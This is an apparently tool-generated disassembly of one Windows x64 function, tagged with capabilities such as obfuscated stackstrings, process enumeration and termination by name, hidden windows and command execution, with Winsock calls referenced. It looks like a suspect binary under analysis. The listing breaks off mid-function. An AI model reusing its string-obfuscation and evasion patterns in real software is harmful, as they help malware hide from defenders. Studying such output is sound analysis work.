Function at 0x140090700
Capabilities:
Contain obfuscated stackstrings
Create thread
Enumerate processes
Execute command
Hide graphical window
Parse pe header
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
mov rax, qword [0x1401dc780]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
xor edi, edi
lea rcx, [0x1401dd440]
call fcn.1400aadf0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0x200], edi
lea rdx, [rbp + 0x200]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x200]
or edx, 4
mov dword [rbp + 0x200], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rbp - 0x60], 0x93f591b6
mov dword [rbp - 0x5c], 0x9fda9dd6
mov dword [rbp - 0x58], 0x9bb899f9
mov dword [rbp - 0x54], 0xa7d6a5d7
mov dword [rbp - 0x50], 0xa3cfa1c9
mov dword [rbp - 0x4c], 0xaf8cadce
mov dword [rbp - 0x48], 0xabdaa9fe
mov dword [rbp - 0x44], 0xb7cab5c1
mov dword [rbp - 0x40], 0xb3ccb1d5
mov dword [rbp - 0x3c], 0xbf9cbddd
mov dword [rbp - 0x38], 0xbbc7b9fc
mov dword [rbp - 0x34], 0xc7b0c5d1
mov dword [rbp - 0x30], 0xc3e0c1aa
mov dword [rbp - 0x2c], 0xcfeccd46
mov dword [rbp - 0x28], 0xcbbac9a3
mov dword [rbp - 0x24], 0xd7bbd5a5
mov dword [rbp - 0x20], 0xd3bfd1ba
mov dword [rbp - 0x1c], 0xdfacddaf
mov dword [rbp - 0x18], 0xdbaad9af
mov dword [rbp - 0x14], 0xe799e5a6
mov dword [rbp - 0x10], 0xe39de1d0
mov dword [rbp - 0xc], 0xef98ed8d
mov dword [rbp - 8], 0xeb98e99a
mov dword [rbp - 4], 0xf789f589
mov dword [rbp], 0xf3c6f18b
mov dword [rbp + 4], 0xff8dfd99
mov word [rbp + 8], 0xf9fe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa], xmm0
mov dword [rbp + 0x1a], eax
mov word [rbp + 0x1e], ax
movabs rsi, 0xca98e06fba58f98f
movabs r12, 0x5efb16e0bfbb1813
movabs r14, 0x92556c081a961251
movabs r15, 0xd45f3e469b1fe22b
movabs r13, 0x166910851ba9b205
movzx edi, byte [rsp + 0x40]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov rax, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x80
jae 0x140091462
movzx r9d, byte [rbp + r11 - 0x60]
movzx r10d, r9b
nop word [rax + rax]
cmp rbx, r11
ja 0x140091459
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x1400908ec
lea rdx, [r11 + r12]
mov rcx, r9
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, r9
add rdi, rdx
add dil, 0x7b
jmp 0x140090926
je 0x1400913e3
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140091383
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140091321
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400912f7
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x1400912ad
movzx r10d, r9b
nop word [rax + rax]
cmp rax, r11
ja 0x140091450
lea rcx, [rax + 4]
cmp rbx, rcx
jae 0x14009095a
lea rdx, [r11 + rsi]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x17
jmp 0x1400909a0
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140091287
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140091262
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x14009123d
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x1400911e7
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400911b3
nop dword [rax + rax]
lea rcx, [rax + rbx]
cmp rcx, r11
jbe 0x140090ef0
nop dword [rax]
lea rcx, [rax + 0x42]
cmp rbx, rcx
je 0x140090ed5
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x140090eb1
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x140090e90
lea rcx, [rax + 0xa]
cmp rbx, rcx
je 0x140090e71
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140090e56
lea rcx, [rax + 0x1000]
cmp rbx, rcx
je 0x140090e3b
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140090e1c
lea rcx, [rax + 0x7a]
cmp rbx, rcx
je 0x140090e01
lea rcx, [rax + 0x64]
cmp rbx, rcx
je 0x140090dd7
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x1400909b0
lea rbx, [rax + 0x2a]
lea rax, [rbx + 0x200]
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
jb 0x140091433
lea rcx, [rax + 2]
cmp rbx, rcx
jb 0x140091416
lea rcx, [rax + 0x1000]
cmp rbx, rcx
jb 0x140090b9d
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x140090b82
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x140090b67
lea rcx, [rax + 0x64]
cmp rbx, rcx
jb 0x140090d81
lea rcx, [rax + 9]
cmp rbx, rcx
jb 0x140090d33
lea rcx, [rax + 1]
cmp rbx, rcx
jb 0x140090cf1
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x140090cce
lea rcx, [rax + 3]
cmp rbx, rcx
jb 0x1400909b0
lea rbx, [rax + 4]
lea rax, [rbx + 0x61]
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x140090c9f
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x140090c84
lea rcx, [rax + 0x5a]
cmp rbx, rcx
ja 0x140090c69
lea rcx, [rax + 0x200]
cmp rbx, rcx
ja 0x140090c4e
lea rcx, [rax + 1]
cmp rbx, rcx
ja 0x140090c33
lea rcx, [rax + 0x400]
cmp rbx, rcx
ja 0x140090c18
lea rcx, [rax + 0x28]
cmp rbx, rcx
ja 0x140090bf7
lea rcx, [rax + 5]
cmp rbx, rcx
ja 0x140090bd3
lea rcx, [rax + 0x42]
cmp rbx, rcx
ja 0x140090bb8
lea rcx, [rax + 8]
cmp rbx, rcx
ja 0x1400909b0
lea rbx, [rax + 9]
lea rax, [rbx + 0x2a]
jmp 0x1400909b0
lea rdx, [r11 + r14]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x37
jmp 0x1400909a0
lea rdx, [r11 + r15]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x2d
jmp 0x140090930
lea rdx, [r11 + r13]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x23
jmp 0x1400908c0
lea edx, [r11 + 0x78]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x48
jmp 0x1400912d0
lea edx, [r11 + 0x52]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3e
inc rax
dec r11
inc r11
jmp 0x1400908a3
lea edx, [r11 + 0x2c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x34
dec r11
inc r11
jmp 0x1400908a3
lea edx, [r11 + 6]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2a
jmp 0x140091344
lea edx, [r11 - 0x20]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x20
jmp 0x140091367
lea edx, [r11 - 0x46]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x16
jmp 0x14009136a
lea edx, [r11 - 0x6c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0xc
jmp 0x14009120b
lea edx, [r11 + 0x6e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 2
jmp 0x1400913a6
lea r8d, [r11 + 0x48]
movzx ecx, r8b
and cl, r9b
mov edx, 4
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
lea edx, [r11 - 0x17]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5f
mov byte [rbp + r11 - 0x60], dil
inc r11
jmp 0x1400908a3
lea edx, [r11 - 0x3d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x55
movzx r10d, r11b
cmp rax, 1
jb 0x140090ce4
sub r10b, 0x6e
movzx ecx, r10b
and cl, r9b
mov edx, 1
sub dl, cl
add dl, dl
add dl, r10b
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400912d0
movzx r10d, r11b
lea edx, [r10 - 0x63]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x4b
cmp rbx, 0x7a
jae 0x140091179
lea rcx, [rax + 0x41]
cmp rbx, rcx
jbe 0x1400910bc
lea r8d, [r10 + 0x16]
movzx ecx, r8b
and cl, r9b
mov edx, 0x33
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140090d0b
lea edx, [r11 + 0x77]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x41
lea rcx, [rax + rbx]
cmp rcx, 0x3e8
je 0x14009119c
lea rcx, [rax + 0x400]
cmp rbx, rcx
jbe 0x140090ff7
movzx r10d, r11b
lea edx, [r10 - 0x79]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x4f
jmp 0x140090d4d
lea edx, [r11 + 0x5a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x76
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
lea edx, [r11 + 0x34]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x6c
jmp 0x1400913a6
movzx r10d, r11b
lea edx, [r10 + 0xe]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x62
jmp 0x14009120f
lea edx, [r11 - 0x18]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x58
jmp 0x14009136a
lea edx, [r11 - 0x3e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x4e
jmp 0x140091367
movzx r10d, r11b
lea edx, [r10 - 0x64]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x44
jmp 0x140091348
lea edx, [r11 + 0x76]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3a
dec r11
inc r11
jmp 0x1400908a3
lea edx, [r11 + 0x50]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x30
inc rax
dec r11
inc r11
jmp 0x1400908a3
lea edx, [r11 + 0x2a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x26
jmp 0x1400912d0
lea rcx, [rax + 8]
cmp rbx, rcx
jae 0x140090f14
lea rdx, [r11 + r12]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x7b
jmp 0x140090d97
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140090f4c
lea r8d, [r11 + 0x1e]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_socket
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140090f79
movzx r10d, r11b
lea r8d, [r10 + 0x6a]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14009120f
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140090fa2
lea r8d, [r11 - 0x70]
movzx ecx, r8b
and cl, r9b
mov edx, 8
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14009136a
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140090fcb
lea r8d, [r11 - 0x4a]
movzx ecx, r8b
and cl, r9b
mov edx, 3
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140091367
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x140090d97
movzx r10d, r11b
lea edx, [r10 - 0x24]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 4
jmp 0x140091348
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14009101b
lea edx, [r11 - 0x53]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x45
jmp 0x1400912d0
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140091048
lea edx, [r11 - 0x2d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x3b
inc rax
dec r11
inc r11
jmp 0x1400908a3
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x14009106c
lea edx, [r11 + 0x45]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x1d
jmp 0x140091367
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140091090
lea edx, [r11 + 0x6b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x13
jmp 0x14009136a
lea rcx, [rax + 3]
movzx r10d, r11b
cmp rbx, rcx
jne 0x140090d4d
lea edx, [r10 - 0x6f]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 9
jmp 0x14009120f
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400910f4
add r10b, 0x3c
movzx ecx, r10b
and cl, r9b
mov edx, 0x2e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r9b
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x14009111d
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r9b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14009120f
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140091146
lea r8d, [r10 - 6]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140091348
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140090d0b
add r10b, 0x20
movzx ecx, r10b
and cl, r9b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400908a3
lea r8d, [r10 - 0x48]
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 8
add dil, r8b
add dil, r9b
jmp 0x140091348
movzx r10d, r11b
lea edx, [r10 - 0x22]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [rdx - 0x12]
jmp 0x14009120f
movabs rdx, 0x78407c3d3580aae5
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x43
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
movabs r8, 0xfc5420ba36944a99
add r8, r11
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x2f
add dil, r8b
movzx r10d, r11b
sub r10b, 0xf
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
add r10b, 0x69
add r10b, r9b
movzx ecx, r10b
mov byte [rbp + r11 - 0x60], cl
inc rax
add rcx, rax
sub r11, rcx
jmp 0x1400913a6
movabs rdx, 0x3e5df2f8b71e1a73
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x25
jmp 0x14009136a
movabs rdx, 0x8067c53737a7ea4d
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x1b
jmp 0x140091367
movabs r8, 0x888f0e3139cf29b5
add r8, r11
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, 0xd
add dil, r8b
jmp 0x1400912d0
movabs rdx, 0xca2b2ae3ae2c969
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x21
movzx r9d, r10b
lea edx, [r11 - 0x5b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
add dl, 0x7d
add dl, r9b
mov byte [rbp + r11 - 0x60], dl
inc rax
dec r11
inc r11
jmp 0x1400908a3
movabs rdx, 0x90b6572b3bf6691d
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x35
dec r11
inc r11
jmp 0x1400908a3
movabs rdx, 0xd2c02969bc8038f7
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x3f
movzx r9d, r10b
movzx r10d, r11b
sub r10b, 0x35
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
add r10b, 0x73
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 - 0x60], r10b
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x1400908a3
movabs rdx, 0xdae77263bea7785f
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x67
movzx r9d, r10b
lea edx, [r11 + 4]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, 0x1c
add dl, r9b
mov byte [rbp + r11 - 0x60], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r11, rcx
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
movabs rdx, 0x1cf144a23f314839
add rdx, r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x71
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, rax
add r11, rcx
inc r11
jmp 0x1400908a3
sub r11b, 0x21
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
lea edi, [r9 + r11]
sub dil, 0x19
jmp 0x1400908a0
sub r11b, 0x47
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0xf
jmp 0x140090885
lea rcx, [rbp + 0x1742c64]
jmp 0x140091466
lea rcx, [rbp + 0x12f4477]
jmp 0x140091466
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0x150], 0xa1c18590
mov dword [rbp + 0x154], 0xfdab81c1
mov dword [rbp + 0x158], 0x8bf2c6f2
mov dword [rbp + 0x15c], 0xfcc5fefe
mov dword [rbp + 0x160], 0x95ffc8c4
mov word [rbp + 0x164], 0x51b2
xor eax, eax
mov qword [rbp + 0x166], rax
mov word [rbp + 0x16e], ax
mov byte [rbp + 0x170], al
movabs r13, 0x36fa02a9e9939eb3
movzx edi, byte [rsp + 0x40]
movabs r14, 0xbcfe00e34ddbdf91
movabs rsi, 0xb0f60470854b5dd5
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r12d, r12d
cmp r12, 0x21
jae 0x140091d68
movzx r9d, byte [rbp + r12 + 0x150]
mov edx, r9d
nop dword [rax]
cmp rbx, r12
ja 0x140091d5f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009153c
lea rcx, [r12 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 9
jmp 0x140091569
je 0x140091ccb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140091c88
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140091c5b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140091c3c
movzx edx, r12b
nop dword [rax]
movzx r10d, dl
movzx esi, dl
movzx r15d, dl
cmp r8, r12
ja 0x140091d56
lea r11, [r8 + 1]
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x1400915b0
lea ecx, [rdx - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
lea r14, [r8 + 2]
lea rcx, [r8 + 3]
jmp 0x1400915e0
cmp rbx, r11
je 0x140091bfd
lea r14, [r8 + 2]
cmp rbx, r14
je 0x140091bdd
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140091bc0
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140091ba6
lea rax, [r8 + rbx]
cmp rax, r12
jbe 0x1400918fd
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400918de
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400918bb
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14009189b
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14009187f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009185f
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140091d39
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140091d08
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400916df
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400917d5
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140091791
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400915f0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x80]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140091771
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140091755
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140091738
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140091718
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400916f9
lea rbx, [r8 + 0x20]
lea r8, [rbx + 3]
jmp 0x1400915f0
lea ecx, [rdx - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
jmp 0x140091570
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x140091c12
sub r10b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r12
jmp 0x140091cec
sub r10b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140091c72
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140091b72
add r10b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091cdd
lea edx, [r10 + 0x21]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x19
add dil, dl
cmp r8, 0x2a
jb 0x140091b07
lea edx, [r10 - 0x3a]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140091c12
lea edx, [r10 - 0x23]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xb
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x140091b58
lea rsi, [r8 + 2]
lea r11, [r8 + 1]
cmp rbx, rsi
jbe 0x1400919b1
lea edx, [r10 - 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
lea rax, [r8 + 5]
lea rcx, [r8 + 3]
cmp rbx, 0x7a
jae 0x140091b14
cmp rbx, rax
jbe 0x140091a4a
lea edx, [r10 + 0x72]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1e
jmp 0x1400917a8
add r10b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091cdd
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140091b72
sub r10b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091c72
sub r10b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x140091cec
lea edx, [r10 + 0x4e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x22
add dil, dl
jmp 0x140091c12
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140091920
sub dl, 0x6f
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 9
jmp 0x1400917ef
cmp rbx, r11
jne 0x140091945
sub r15b, 0x36
movzx eax, r15b
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r9b
jmp 0x140091cdd
cmp rbx, r14
jne 0x140091967
add sil, 0x30
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x50
jmp 0x140091c75
cmp rbx, rcx
jne 0x140091989
add r10b, 0x52
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3e
jmp 0x140091c72
cmp rbx, rax
jne 0x1400917ef
lea edx, [r10 - 0x26]
movzx eax, r9b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140091c12
cmp rbx, r11
jne 0x1400919d5
lea edx, [r10 - 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x37
add dil, dl
jmp 0x140091c12
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x1400919fe
sub r10b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5b
dec r12
jmp 0x140091cec
cmp rbx, rsi
jne 0x140091a20
add r10b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7f
jmp 0x140091c72
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140091830
add r10b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6f
jmp 0x140091c75
cmp rbx, r11
jne 0x140091a6c
sub r10b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
jmp 0x140091cdd
cmp rbx, rcx
jne 0x140091a8d
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140091b72
cmp rbx, rsi
jne 0x140091ab2
sub r10b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091c75
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140091adb
add r10b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091c72
lea rax, [r8 + 7]
